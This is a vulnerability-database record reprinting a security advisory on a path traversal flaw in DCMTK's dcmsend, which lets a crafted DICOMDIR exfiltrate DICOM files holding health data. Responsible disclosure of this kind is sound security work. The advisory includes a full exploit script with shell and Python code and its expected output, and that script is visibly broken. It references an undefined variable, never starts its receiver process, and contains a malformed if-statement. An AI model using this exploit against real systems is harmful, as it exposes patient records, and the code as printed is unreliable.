GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GCVE-1988-2026-0024

Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-09 10:11
VLAI
Title
[SYSS-2026-047]: DICOM Toolkit (DCMTK) - Path traversal (CWE-22)
Summary
Advisory ID: SYSS-2026-047 Product: DCMTK (DICOM ToolKit) Manufacturer: OFFIS e.V. / DCMTK Community Affected Version(s): 3.7.0 Tested Version(s): 3.7.0 Vulnerability Type: Path traversal (CWE-22) Risk Level: High Solution Status: Fixed Manufacturer Notification: 2026-07-02 Solution Date: 2026-07-03 Public Disclosure: 2026-07-31 CVE Reference: Not yet assigned Author of Advisory: Matthias Deeg, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: DCMTK (DICOM ToolKit) is an open-source collection of libraries and applications implementing large parts of the DICOM (Digital Imaging and Communications in Medicine) standard (see [1]). DCMTK's dcmsend is vulnerable to path traversal when it is instructed to read input files from a specially crafted DICOMDIR. This can lead to unauthorized disclosure of readable DICOM objects, including protected health information. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The dcmsend command line option --read-from-dicomdir (+rd) enables DcmStorageSCU::ReadFromDICOMDIRMode. In this mode, a DICOMDIR input file is not sent itself. Instead, dcmsend reads the DICOMDIR and adds the referenced SOP instances to its transfer list. The affected implementation is DcmStorageSCU::addDicomFilesFromDICOMDIR() in dcmnet/libsrc/dstorscu.cc. The function searches the DICOMDIR dataset for ReferencedFileID (0004,1500) elements, converts DICOM backslashes to host path separators with dicomToHostFilename(), and then combines the result with the DICOMDIR directory: const OFFilename tmpFilename(dicomToHostFilename(fileID, tmpString), pathName.usesWideChars()); OFStandard::combineDirAndFilename(pathName, dirName, tmpFilename, OFTrue /* allowEmptyDirName */); dicomToHostFilename() only replaces "\\" with the host path separator. It does not reject ".." components, absolute paths, or other traversal patterns. OFStandard::combineDirAndFilename() also does not canonicalize the result or verify that the final path remains below the DICOMDIR directory. Therefore, a ReferencedFileID such as "..\\OUTDIR\\SECRET" becomes a host path like "MEDIA/../OUTDIR/SECRET". The attack chain is as follows: 1. The attacker crafts a DICOMDIR with an IMAGE directory record whose ReferencedFileID contains traversal components, for example "..\\OUTDIR\\SECRET". 2. The same record contains ReferencedSOPClassUIDInFile, ReferencedSOPInstanceUIDInFile, and ReferencedTransferSyntaxUIDInFile values matching the targeted DICOM object. 3. The victim runs dcmsend with --read-from-dicomdir (+rd) against the crafted DICOMDIR. 4. dcmsend resolves the ReferencedFileID relative to the DICOMDIR location without rejecting the traversal. 5. dcmsend opens and transmits the traversed DICOM file to the configured remote storage SCP. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): To demonstrate this security isssue, a PoC exploit was developed that sends a DICOM file outside the media directory to an attacker when an attacker-controlled DICOMDIR is used by dcmsend. The crafted DICOMDIR contains a path traversal attack vector in ReferencedFileID. cat > poc.sh << 'EOPOC' #!/bin/bash # Demonstrate DICOMDIR ReferencedFileID path traversal via dcmsend set -u WORKDIR="$(mktemp -d /tmp/dcmtk-dcmsend.XXXXXX)" MEDIA_DIR="${WORKDIR}/MEDIA" OUTSIDE_DIR="${WORKDIR}/OUTDIR" RECV_DIR="${WORKDIR}/recv" TARGET_DUMP="${WORKDIR}/target.dump" DICOMDIR="${MEDIA_DIR}/DICOMDIR" TARGET_FILE="${OUTSIDE_DIR}/SECRET" DCMSEND_LOG="${WORKDIR}/dcmsend.log" STORESCP_LOG="${WORKDIR}/storescp.log" cleanup() { if [ -n "${STORESCP_PID:-}" ]; then kill "${STORESCP_PID}" 2>/dev/null || true wait "${STORESCP_PID}" 2>/dev/null || true fi rm -rf "${WORKDIR}" } trap cleanup EXIT require_tool() { command -v "$1" >/dev/null 2>&1 || { echo "[!] Missing required tool: $1" exit 1 } } require_tool dump2dcm require_tool dcmdump require_tool dcmsend require_tool storescp require_tool python3 mkdir -p "${MEDIA_DIR}" "${OUTSIDE_DIR}" "${RECV_DIR}" cat > "${TARGET_DUMP}" <<'EOF' # Dicom-File-Format # Dicom-Meta-Information-Header # Used TransferSyntax: Little Endian Explicit (0002,0001) OB 00\01 (0002,0002) UI =SecondaryCaptureImageStorage (0002,0003) UI [1.2.826.0.1.3680043.10.543.777.1] (0002,0010) UI =LittleEndianExplicit (0002,0012) UI [1.2.826.0.1.3680043.10.543.370] (0002,0013) SH [H7POC] # Dicom-Data-Set # Used TransferSyntax: Little Endian Explicit (0008,0005) CS [ISO_IR 100] (0008,0016) UI =SecondaryCaptureImageStorage (0008,0018) UI [1.2.826.0.1.3680043.10.543.777.1] (0008,0020) DA [20260630] (0008,0030) TM [120000] (0008,0060) CS [OT] (0008,0064) CS [WSD] (0010,0010) PN [POC^TRAVERSED] (0010,0020) LO [H7DCMSEND] (0020,000d) UI [1.2.826.0.1.3680043.10.543.777.2] (0020,000e) UI [1.2.826.0.1.3680043.10.543.777.3] (0020,0010) SH [1] (0020,0011) IS [1] (0020,0013) IS [1] (0028,0002) US 1 (0028,0004) CS [MONOCHROME2] (0028,0010) US 1 (0028,0011) US 1 (0028,0100) US 8 (0028,0101) US 8 (0028,0102) US 7 (0028,0103) US 0 (7fe0,0010) OB 00\00 EOF dump2dcm "${TARGET_DUMP}" "${TARGET_FILE}" || exit 1 python3 - "${DICOMDIR}" <<'PY' import struct import sys out = sys.argv[1] def even(value, pad=b" "): return value if len(value) % 2 == 0 else value + pad def elem(tag, vr, value): group, element = tag if isinstance(value, str): value = value.encode("ascii") if vr == "UI": value = even(value, b"\0") value = even(value, b" ") data = struct.pack("<HH", group, element) + vr.encode("ascii") if vr in ("OB", "OD", "OF", "OL", "OW", "SQ", "UC", "UR", "UT", "UN"): data += b"\0\0" + struct.pack("<I", len(value)) else: data += struct.pack("<H", len(value)) return data + value def item(content): return struct.pack("<HHI", 0xFFFE, 0xE000, len(content)) + content sop_class = "1.2.840.10008.5.1.4.1.1.7" sop_inst = "1.2.826.0.1.3680043.10.543.777.1" transfer_syntax = "1.2.840.10008.1.2.1" record = b"".join([ elem((0x0004, 0x1400), "UL", struct.pack("<I", 0)), elem((0x0004, 0x1410), "US", struct.pack("<H", 0xFFFF)), elem((0x0004, 0x1420), "UL", struct.pack("<I", 0)), elem((0x0004, 0x1430), "CS", "IMAGE"), elem((0x0004, 0x1500), "CS", r"..\OUTDIR\SECRET"), elem((0x0004, 0x1510), "UI", sop_class), elem((0x0004, 0x1511), "UI", sop_inst), elem((0x0004, 0x1512), "UI", transfer_syntax), ]) dataset = b"".join([ elem((0x0004, 0x1130), "CS", "H7POC"), elem((0x0004, 0x1200), "UL", struct.pack("<I", 0)), elem((0x0004, 0x1202), "UL", struct.pack("<I", 0)), elem((0x0004, 0x1212), "US", struct.pack("<H", 0)), elem((0x0004, 0x1220), "SQ", item(record)), ]) meta_body = b"".join([ elem((0x0002, 0x0001), "OB", b"\0\1"), elem((0x0002, 0x0002), "UI", "1.2.840.10008.1.3.10"), elem((0x0002, 0x0003), "UI", "1.2.826.0.1.3680043.10.543.777.999"), elem((0x0002, 0x0010), "UI", transfer_syntax), elem((0x0002, 0x0012), "UI", "1.2.826.0.1.3680043.10.543.370"), elem((0x0002, 0x0013), "SH", "H7POC"), ]) with open(out, "wb") as handle: handle.write(b"\0" * 128 + b"DICM" + meta + dataset) PY PORT="$(python3 - <<'PY' import socket s = socket.socket() s.bind(("127.0.0.1", 0)) print(s.getsockname()[1]) s.close() PY )" echo "[*] DICOMDIR is inside: ${MEDIA_DIR}" echo "[*] Referenced target is outside: ${TARGET_FILE}" echo "[*] DICOMDIR ReferencedFileID:" dcmdump +P 0004,1500 "${DICOMDIR}" STORESCP_PID=$! sleep 1 set +e dcmsend -v +rd 127.0.0.1 "${PORT}" "${DICOMDIR}" >"${DCMSEND_LOG}" 2>&1 RC=$? set -e sleep 1 kill "${STORESCP_PID}" 2>/dev/null || true wait "${STORESCP_PID}" 2>/dev/null || true STORESCP_PID="" cat "${DCMSEND_LOG}" RECEIVED_FILE="$(find "${RECV_DIR}" -type f | head -n 1)" if [ "${RC}" -eq 0 ] && [ -n "${RECEIVED_FILE}" ] && dcmdump +P 0010,0010 +P 0010,0020 +P 0008,0018 "${RECEIVED_FILE}" exit 0 fi echo "[!] FAILED: traversal transmission was not verified" echo "[!] Workdir retained for inspection: ${WORKDIR}" trap - EXIT exit 1 EOPOC A successful attack is indicated by output similar to the following: ./poc.sh [*] DICOMDIR is inside: /tmp/dcmtk-dcmsend.PBsYZC/MEDIA [*] Referenced target is outside: /tmp/dcmtk-dcmsend.PBsYZC/OUTDIR/SECRET [*] DICOMDIR ReferencedFileID: I: checking input files ... I: starting association #1 I: initializing network ... I: negotiating network association ... I: Requesting Association I: Association Accepted (Max Send PDV: 16372) I: sending SOP instances ... I: Sending C-STORE Request (MsgID 1, SC) I: Received C-STORE Response (Success) I: Releasing Association I: I: Status Summary I: -------------- I: Number of associations : 1 I: Number of pres. contexts : 1 I: Number of SOP instances : 1 I: - sent to the peer : 1 I: * with status SUCCESS : 1 (0010,0010) PN [POC^TRAVERSED] # 14, 1 PatientName (0010,0020) LO [H7DCMSEND] # 10, 1 PatientID This demonstrates that dcmsend reads a file outside the DICOMDIR directory and transmits it to the configured DICOM peer. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: This security issue was fixed with the commit 225ff1e0e42efcac64a5275e8f06ade14ca509b5 (see [4]). ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2026-07-02: Vulnerability reported to manufacturer 2026-07-02: Manufacturer acknowledges receipt of security advisories 2026-07-03: Security fix published by manufacturer (see [4]) 2026-07-31: Public release of security advisory ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] DCMTK project website https://dcmtk.org/en/ [2] SySS Security Advisory SYSS-2026-047 [3] SySS GmbH, SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy [4] DCMTK security fix ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Matthias Deeg of SySS GmbH with the assistance of SySS AI. E-Mail: matthias.deeg (at) syss.de Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 4.0 URL: https://creativecommons.org/licenses/by/4.0/deed.en _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Impacted products
Vendor Product Version CPE status
Dicom DICOM Toolkit Affected: unknown
guessed Create a notification for this product.

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "DICOM Toolkit",
          "vendor": "Dicom",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Matthias Deeg via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Advisory ID:               SYSS-2026-047\nProduct:                   DCMTK (DICOM ToolKit)\nManufacturer:              OFFIS e.V. / DCMTK Community\nAffected Version(s):       3.7.0\nTested Version(s):         3.7.0\nVulnerability Type:        Path traversal (CWE-22)\nRisk Level:                High\nSolution Status:           Fixed\nManufacturer Notification: 2026-07-02\nSolution Date:             2026-07-03\nPublic Disclosure:         2026-07-31\nCVE Reference:             Not yet assigned\nAuthor of Advisory:        Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nDCMTK (DICOM ToolKit) is an open-source collection of libraries and\napplications implementing large parts of the DICOM (Digital Imaging\nand Communications in Medicine) standard (see [1]).\n\nDCMTK\u0027s dcmsend is vulnerable to path traversal when it is instructed to\nread input files from a specially crafted DICOMDIR. This can lead to\nunauthorized disclosure of readable DICOM objects, including protected\nhealth information.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe dcmsend command line option --read-from-dicomdir (+rd) enables\nDcmStorageSCU::ReadFromDICOMDIRMode. In this mode, a DICOMDIR input file\nis not sent itself. Instead, dcmsend reads the DICOMDIR and adds the\nreferenced SOP instances to its transfer list.\n\nThe affected implementation is DcmStorageSCU::addDicomFilesFromDICOMDIR()\nin dcmnet/libsrc/dstorscu.cc. The function searches the DICOMDIR dataset\nfor ReferencedFileID (0004,1500) elements, converts DICOM backslashes to\nhost path separators with dicomToHostFilename(), and then combines the\nresult with the DICOMDIR directory:\n\n  const OFFilename tmpFilename(dicomToHostFilename(fileID, tmpString),\n                               pathName.usesWideChars());\n  OFStandard::combineDirAndFilename(pathName, dirName, tmpFilename,\n                                    OFTrue /* allowEmptyDirName */);\n\ndicomToHostFilename() only replaces \"\\\\\" with the host path separator.\nIt does not reject \"..\" components, absolute paths, or other traversal\npatterns. OFStandard::combineDirAndFilename() also does not canonicalize\nthe result or verify that the final path remains below the DICOMDIR\ndirectory. Therefore, a ReferencedFileID such as \"..\\\\OUTDIR\\\\SECRET\"\nbecomes a host path like \"MEDIA/../OUTDIR/SECRET\".\n\nThe attack chain is as follows:\n\n  1. The attacker crafts a DICOMDIR with an IMAGE directory record whose\n     ReferencedFileID contains traversal components, for example\n     \"..\\\\OUTDIR\\\\SECRET\".\n\n  2. The same record contains ReferencedSOPClassUIDInFile,\n     ReferencedSOPInstanceUIDInFile, and\n     ReferencedTransferSyntaxUIDInFile values matching the targeted DICOM\n     object.\n\n  3. The victim runs dcmsend with --read-from-dicomdir (+rd) against the\n     crafted DICOMDIR.\n\n  4. dcmsend resolves the ReferencedFileID relative to the DICOMDIR\n     location without rejecting the traversal.\n\n  5. dcmsend opens and transmits the traversed DICOM file to the\n     configured remote storage SCP.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nTo demonstrate this security isssue, a PoC exploit was developed that\nsends a DICOM file outside the media directory to an attacker when an\nattacker-controlled DICOMDIR is used by dcmsend.\n\nThe crafted DICOMDIR contains a path traversal attack vector in\nReferencedFileID.\n\ncat \u003e poc.sh \u003c\u003c \u0027EOPOC\u0027\n#!/bin/bash\n# Demonstrate DICOMDIR ReferencedFileID path traversal via dcmsend\n\nset -u\n\nWORKDIR=\"$(mktemp -d /tmp/dcmtk-dcmsend.XXXXXX)\"\nMEDIA_DIR=\"${WORKDIR}/MEDIA\"\nOUTSIDE_DIR=\"${WORKDIR}/OUTDIR\"\nRECV_DIR=\"${WORKDIR}/recv\"\nTARGET_DUMP=\"${WORKDIR}/target.dump\"\nDICOMDIR=\"${MEDIA_DIR}/DICOMDIR\"\nTARGET_FILE=\"${OUTSIDE_DIR}/SECRET\"\nDCMSEND_LOG=\"${WORKDIR}/dcmsend.log\"\nSTORESCP_LOG=\"${WORKDIR}/storescp.log\"\n\ncleanup()\n{\n    if [ -n \"${STORESCP_PID:-}\" ]; then\n        kill \"${STORESCP_PID}\" 2\u003e/dev/null || true\n        wait \"${STORESCP_PID}\" 2\u003e/dev/null || true\n    fi\n    rm -rf \"${WORKDIR}\"\n}\ntrap cleanup EXIT\n\nrequire_tool()\n{\n    command -v \"$1\" \u003e/dev/null 2\u003e\u00261 || {\n        echo \"[!] Missing required tool: $1\"\n        exit 1\n    }\n}\n\nrequire_tool dump2dcm\nrequire_tool dcmdump\nrequire_tool dcmsend\nrequire_tool storescp\nrequire_tool python3\n\nmkdir -p \"${MEDIA_DIR}\" \"${OUTSIDE_DIR}\" \"${RECV_DIR}\"\n\ncat \u003e \"${TARGET_DUMP}\" \u003c\u003c\u0027EOF\u0027\n# Dicom-File-Format\n\n# Dicom-Meta-Information-Header\n# Used TransferSyntax: Little Endian Explicit\n(0002,0001) OB 00\\01\n(0002,0002) UI =SecondaryCaptureImageStorage\n(0002,0003) UI [1.2.826.0.1.3680043.10.543.777.1]\n(0002,0010) UI =LittleEndianExplicit\n(0002,0012) UI [1.2.826.0.1.3680043.10.543.370]\n(0002,0013) SH [H7POC]\n\n# Dicom-Data-Set\n# Used TransferSyntax: Little Endian Explicit\n(0008,0005) CS [ISO_IR 100]\n(0008,0016) UI =SecondaryCaptureImageStorage\n(0008,0018) UI [1.2.826.0.1.3680043.10.543.777.1]\n(0008,0020) DA [20260630]\n(0008,0030) TM [120000]\n(0008,0060) CS [OT]\n(0008,0064) CS [WSD]\n(0010,0010) PN [POC^TRAVERSED]\n(0010,0020) LO [H7DCMSEND]\n(0020,000d) UI [1.2.826.0.1.3680043.10.543.777.2]\n(0020,000e) UI [1.2.826.0.1.3680043.10.543.777.3]\n(0020,0010) SH [1]\n(0020,0011) IS [1]\n(0020,0013) IS [1]\n(0028,0002) US 1\n(0028,0004) CS [MONOCHROME2]\n(0028,0010) US 1\n(0028,0011) US 1\n(0028,0100) US 8\n(0028,0101) US 8\n(0028,0102) US 7\n(0028,0103) US 0\n(7fe0,0010) OB 00\\00\nEOF\n\ndump2dcm \"${TARGET_DUMP}\" \"${TARGET_FILE}\" || exit 1\n\npython3 - \"${DICOMDIR}\" \u003c\u003c\u0027PY\u0027\nimport struct\nimport sys\n\nout = sys.argv[1]\n\ndef even(value, pad=b\" \"):\n    return value if len(value) % 2 == 0 else value + pad\n\ndef elem(tag, vr, value):\n    group, element = tag\n    if isinstance(value, str):\n        value = value.encode(\"ascii\")\n    if vr == \"UI\":\n        value = even(value, b\"\\0\")\n\n        value = even(value, b\" \")\n    data = struct.pack(\"\u003cHH\", group, element) + vr.encode(\"ascii\")\n    if vr in (\"OB\", \"OD\", \"OF\", \"OL\", \"OW\", \"SQ\", \"UC\", \"UR\", \"UT\", \"UN\"):\n        data += b\"\\0\\0\" + struct.pack(\"\u003cI\", len(value))\n    else:\n        data += struct.pack(\"\u003cH\", len(value))\n    return data + value\n\ndef item(content):\n    return struct.pack(\"\u003cHHI\", 0xFFFE, 0xE000, len(content)) + content\n\nsop_class = \"1.2.840.10008.5.1.4.1.1.7\"\nsop_inst = \"1.2.826.0.1.3680043.10.543.777.1\"\ntransfer_syntax = \"1.2.840.10008.1.2.1\"\n\nrecord = b\"\".join([\n    elem((0x0004, 0x1400), \"UL\", struct.pack(\"\u003cI\", 0)),\n    elem((0x0004, 0x1410), \"US\", struct.pack(\"\u003cH\", 0xFFFF)),\n    elem((0x0004, 0x1420), \"UL\", struct.pack(\"\u003cI\", 0)),\n    elem((0x0004, 0x1430), \"CS\", \"IMAGE\"),\n    elem((0x0004, 0x1500), \"CS\", r\"..\\OUTDIR\\SECRET\"),\n    elem((0x0004, 0x1510), \"UI\", sop_class),\n    elem((0x0004, 0x1511), \"UI\", sop_inst),\n    elem((0x0004, 0x1512), \"UI\", transfer_syntax),\n])\n\ndataset = b\"\".join([\n    elem((0x0004, 0x1130), \"CS\", \"H7POC\"),\n    elem((0x0004, 0x1200), \"UL\", struct.pack(\"\u003cI\", 0)),\n    elem((0x0004, 0x1202), \"UL\", struct.pack(\"\u003cI\", 0)),\n    elem((0x0004, 0x1212), \"US\", struct.pack(\"\u003cH\", 0)),\n    elem((0x0004, 0x1220), \"SQ\", item(record)),\n])\n\nmeta_body = b\"\".join([\n    elem((0x0002, 0x0001), \"OB\", b\"\\0\\1\"),\n    elem((0x0002, 0x0002), \"UI\", \"1.2.840.10008.1.3.10\"),\n    elem((0x0002, 0x0003), \"UI\", \"1.2.826.0.1.3680043.10.543.777.999\"),\n    elem((0x0002, 0x0010), \"UI\", transfer_syntax),\n    elem((0x0002, 0x0012), \"UI\", \"1.2.826.0.1.3680043.10.543.370\"),\n    elem((0x0002, 0x0013), \"SH\", \"H7POC\"),\n])\n\n\nwith open(out, \"wb\") as handle:\n    handle.write(b\"\\0\" * 128 + b\"DICM\" + meta + dataset)\nPY\n\nPORT=\"$(python3 - \u003c\u003c\u0027PY\u0027\nimport socket\ns = socket.socket()\ns.bind((\"127.0.0.1\", 0))\nprint(s.getsockname()[1])\ns.close()\nPY\n)\"\n\necho \"[*] DICOMDIR is inside: ${MEDIA_DIR}\"\necho \"[*] Referenced target is outside: ${TARGET_FILE}\"\necho \"[*] DICOMDIR ReferencedFileID:\"\ndcmdump +P 0004,1500 \"${DICOMDIR}\"\n\n\nSTORESCP_PID=$!\nsleep 1\n\nset +e\ndcmsend -v +rd 127.0.0.1 \"${PORT}\" \"${DICOMDIR}\" \u003e\"${DCMSEND_LOG}\" 2\u003e\u00261\nRC=$?\nset -e\nsleep 1\nkill \"${STORESCP_PID}\" 2\u003e/dev/null || true\nwait \"${STORESCP_PID}\" 2\u003e/dev/null || true\nSTORESCP_PID=\"\"\n\ncat \"${DCMSEND_LOG}\"\n\nRECEIVED_FILE=\"$(find \"${RECV_DIR}\" -type f | head -n 1)\"\nif [ \"${RC}\" -eq 0 ] \u0026\u0026\n   [ -n \"${RECEIVED_FILE}\" ] \u0026\u0026\n\n    dcmdump +P 0010,0010 +P 0010,0020 +P 0008,0018 \"${RECEIVED_FILE}\"\n    exit 0\nfi\n\necho \"[!] FAILED: traversal transmission was not verified\"\necho \"[!] Workdir retained for inspection: ${WORKDIR}\"\ntrap - EXIT\nexit 1\nEOPOC\n\nA successful attack is indicated by output similar to the following:\n\n./poc.sh\n[*] DICOMDIR is inside: /tmp/dcmtk-dcmsend.PBsYZC/MEDIA\n[*] Referenced target is outside: /tmp/dcmtk-dcmsend.PBsYZC/OUTDIR/SECRET\n[*] DICOMDIR ReferencedFileID:\n\nI: checking input files ...\nI: starting association #1\nI: initializing network ...\nI: negotiating network association ...\nI: Requesting Association\nI: Association Accepted (Max Send PDV: 16372)\nI: sending SOP instances ...\nI: Sending C-STORE Request (MsgID 1, SC)\nI: Received C-STORE Response (Success)\nI: Releasing Association\nI:\nI: Status Summary\nI: --------------\nI: Number of associations   : 1\nI: Number of pres. contexts : 1\nI: Number of SOP instances  : 1\nI: - sent to the peer       : 1\nI:   * with status SUCCESS  : 1\n\n(0010,0010) PN [POC^TRAVERSED]                          #  14, 1 PatientName\n(0010,0020) LO [H7DCMSEND]                              #  10, 1 PatientID\n\n\nThis demonstrates that dcmsend reads a file outside the DICOMDIR\ndirectory and transmits it to the configured DICOM peer.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nThis security issue was fixed with the commit\n225ff1e0e42efcac64a5275e8f06ade14ca509b5 (see [4]).\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-07-02: Vulnerability reported to manufacturer\n2026-07-02: Manufacturer acknowledges receipt of security advisories\n2026-07-03: Security fix published by manufacturer (see [4])\n2026-07-31: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] DCMTK project website\n    https://dcmtk.org/en/\n[2] SySS Security Advisory SYSS-2026-047\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n    https://www.syss.de/en/responsible-disclosure-policy\n[4] DCMTK security fix\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T10:11:56Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/25"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/25"
        },
        {
          "url": "https://creativecommons.org/licenses/by/4.0/deed.en"
        },
        {
          "url": "https://dcmtk.org/en/"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.syss.de/en/responsible-disclosure-policy"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/25"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[SYSS-2026-047]: DICOM Toolkit (DCMTK) - Path traversal (CWE-22)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0024",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/25",
            "automated": true,
            "contentSha256": "8df56d4e1b9f1913f32da9589f0d40c0947e245e305e38afff962dfca7df1892",
            "evidenceScore": 8,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/25",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-07-31T07:59:40Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:20Z",
    "dateUpdated": "2026-09-09T10:11:56Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0024"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…